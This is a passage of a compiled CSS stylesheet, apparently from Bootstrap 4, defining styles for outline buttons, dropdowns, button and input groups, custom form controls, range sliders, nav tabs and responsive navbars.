0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n color: #f8f9fa;\n background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n color: #343a40;\n background-color: transparent;\n background-image: none;\n border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n color: #343a40;\n background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n font-weight: 400;\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-link:hover {\n color: #0056b3;\n text-decoration: underline;\n background-color: transparent;\n border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n text-decoration: underline;\n border-color: transparent;\n box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n color: #6c757d;\n pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n.btn-block + .btn-block {\n margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n\n.fade {\n transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .fade {\n transition: none;\n }\n}\n\n.fade:not(.show) {\n opacity: 0;\n}\n\n.collapse:not(.show) {\n display: none;\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .collapsing {\n transition: none;\n }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n position: relative;\n}\n\n.dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid;\n border-right: 0.3em solid transparent;\n border-bottom: 0;\n border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 10rem;\n padding: 0.5rem 0;\n margin: 0.125rem 0 0;\n font-size: 1rem;\n color: #212529;\n text-align: left;\n list-style: none;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n\n.dropup .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-top: 0;\n margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0;\n border-right: 0.3em solid transparent;\n border-bottom: 0.3em solid;\n border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n top: 0;\n right: auto;\n left: 100%;\n margin-top: 0;\n margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0;\n border-bottom: 0.3em solid transparent;\n border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n top: 0;\n right: 100%;\n left: auto;\n margin-top: 0;\n margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n display: inline-block;\n width: 0;\n height: 0;\n margin-right: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0.3em solid;\n border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n right: auto;\n bottom: auto;\n}\n\n.dropdown-divider {\n height: 0;\n margin: 0.5rem 0;\n overflow: hidden;\n border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n display: block;\n width: 100%;\n padding: 0.25rem 1.5rem;\n clear: both;\n font-weight: 400;\n color: #212529;\n text-align: inherit;\n white-space: nowrap;\n background-color: transparent;\n border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n color: #16181b;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n color: #fff;\n text-decoration: none;\n background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.dropdown-menu.show {\n display: block;\n}\n\n.dropdown-header {\n display: block;\n padding: 0.5rem 1.5rem;\n margin-bottom: 0;\n font-size: 0.875rem;\n color: #6c757d;\n white-space: nowrap;\n}\n\n.dropdown-item-text {\n display: block;\n padding: 0.25rem 1.5rem;\n color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: -ms-inline-flexbox;\n display: inline-flex;\n vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n -ms-flex: 0 1 auto;\n flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n margin-left: -1px;\n}\n\n.btn-toolbar {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -ms-flex-pack: start;\n justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n width: auto;\n}\n\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n padding-right: 0.5625rem;\n padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n padding-right: 0.375rem;\n padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n padding-right: 0.75rem;\n padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n -ms-flex-direction: column;\n flex-direction: column;\n -ms-flex-align: start;\n align-items: flex-start;\n -ms-flex-pack: center;\n justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n\n.input-group {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -ms-flex-align: stretch;\n align-items: stretch;\n width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n position: relative;\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n width: 1%;\n margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n display: -ms-flexbox;\n display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n position: relative;\n z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n margin-left: -1px;\n}\n\n.input-group-prepend {\n margin-right: -1px;\n}\n\n.input-group-append {\n margin-left: -1px;\n}\n\n.input-group-text {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n padding: 0.375rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #495057;\n text-align: center;\n white-space: nowrap;\n background-color: #e9ecef;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.custom-control {\n position: relative;\n display: block;\n min-height: 1.5rem;\n padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n display: -ms-inline-flexbox;\n display: inline-flex;\n margin-right: 1rem;\n}\n\n.custom-control-input {\n position: absolute;\n z-index: -1;\n opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n color: #fff;\n background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n color: #fff;\n background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n background-color: #e9ecef;\n}\n\n.custom-control-label {\n margin-bottom: 0;\n}\n\n.custom-control-label::before {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n pointer-events: none;\n content: \"\";\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n content: \"\";\n background-repeat: no-repeat;\n background-position: center center;\n background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n vertical-align: middle;\n background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n background-size: 8px 10px;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n}\n\n.custom-select:focus {\n border-color: #80bdff;\n outline: 0;\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n height: auto;\n padding-right: 0.75rem;\n background-image: none;\n}\n\n.custom-select:disabled {\n color: #6c757d;\n background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n opacity: 0;\n}\n\n.custom-select-sm {\n height: calc(1.8125rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 75%;\n}\n\n.custom-select-lg {\n height: calc(2.875rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 125%;\n}\n\n.custom-file {\n position: relative;\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin-bottom: 0;\n}\n\n.custom-file-input {\n position: relative;\n z-index: 2;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin: 0;\n opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n border-color: #80bdff;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n content: \"Browse\";\n}\n\n.custom-file-label {\n position: absolute;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n z-index: 3;\n display: block;\n height: calc(calc(2.25rem + 2px) - 1px * 2);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n content: \"Browse\";\n background-color: #e9ecef;\n border-left: 1px solid #ced4da;\n border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n width: 100%;\n padding-left: 0;\n background-color: transparent;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n}\n\n.custom-range:focus {\n outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n width: 1rem;\n height: 1rem;\n margin-top: -0.25rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n -webkit-appearance: none;\n appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n -moz-appearance: none;\n appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 1rem;\n}\n\n.custom-range::-ms-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: transparent;\n border-color: transparent;\n border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n margin-right: 15px;\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.nav {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.nav-link {\n display: block;\n padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n text-decoration: none;\n}\n\n.nav-link.disabled {\n color: #6c757d;\n}\n\n.nav-tabs {\n border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n border: 1px solid transparent;\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n color: #6c757d;\n background-color: transparent;\n border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n color: #495057;\n background-color: #fff;\n border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n color: #fff;\n background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n text-align: center;\n}\n\n.nav-justified .nav-item {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n -ms-flex-positive: 1;\n flex-grow: 1;\n text-align: center;\n}\n\n.tab-content > .tab-pane {\n display: none;\n}\n\n.tab-content > .active {\n display: block;\n}\n\n.navbar {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: justify;\n justify-content: space-between;\n padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-wrap: wrap;\n flex-wrap: wrap;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: justify;\n justify-content: space-between;\n}\n\n.navbar-brand {\n display: inline-block;\n padding-top: 0.3125rem;\n padding-bottom: 0.3125rem;\n margin-right: 1rem;\n font-size: 1.25rem;\n line-height: inherit;\n white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n text-decoration: none;\n}\n\n.navbar-nav {\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.navbar-nav .nav-link {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n position: static;\n float: none;\n}\n\n.navbar-text {\n display: inline-block;\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n -ms-flex-preferred-size: 100%;\n flex-basis: 100%;\n -ms-flex-positive: 1;\n flex-grow: 1;\n -ms-flex-align: center;\n align-items: center;\n}\n\n.navbar-toggler {\n padding: 0.25rem 0.75rem;\n font-size: 1.25rem;\n line-height: 1;\n background-color: transparent;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 576px) {\n .navbar-expand-sm {\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-sm .navbar-nav {\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-sm .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-sm .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-sm .navbar-collapse {\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-sm .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 767.98px) {\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 768px) {\n .navbar-expand-md {\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-md .navbar-nav {\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-md .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-md .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-md .navbar-collapse {\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-md .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 991.98px) {\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 992px) {\n .navbar-expand-lg {\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-lg .navbar-nav {\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-lg .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-lg .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-lg .navbar-collapse {\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-lg .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 1199.98px) {\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 1200px) {\n .navbar-expand-xl {\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -ms-flex-pack: start;\n justify-content: flex-start;\n }\n .navbar-expand-xl .navbar-nav {\n -ms-flex-direction: row;\n flex-direction: row;\n }\n .navbar-expand-xl .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-xl .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n -ms-flex-wrap: nowrap;\n flex-wrap: nowrap;\n }\n .navbar-expand-xl .navbar-collapse {\n display: -ms-flexbox !important;\n display: flex !important;\n -ms-flex-preferred-size: auto;\n flex-basis: auto;\n }\n .navbar-expand-xl .navbar-toggler {\n display: none;\n }\n}\n\n.navbar-expand {\n -ms-flex-flow: row nowrap;\n flex-flow: row nowrap;\n -ms-flex-pack: start;\n justify-content: 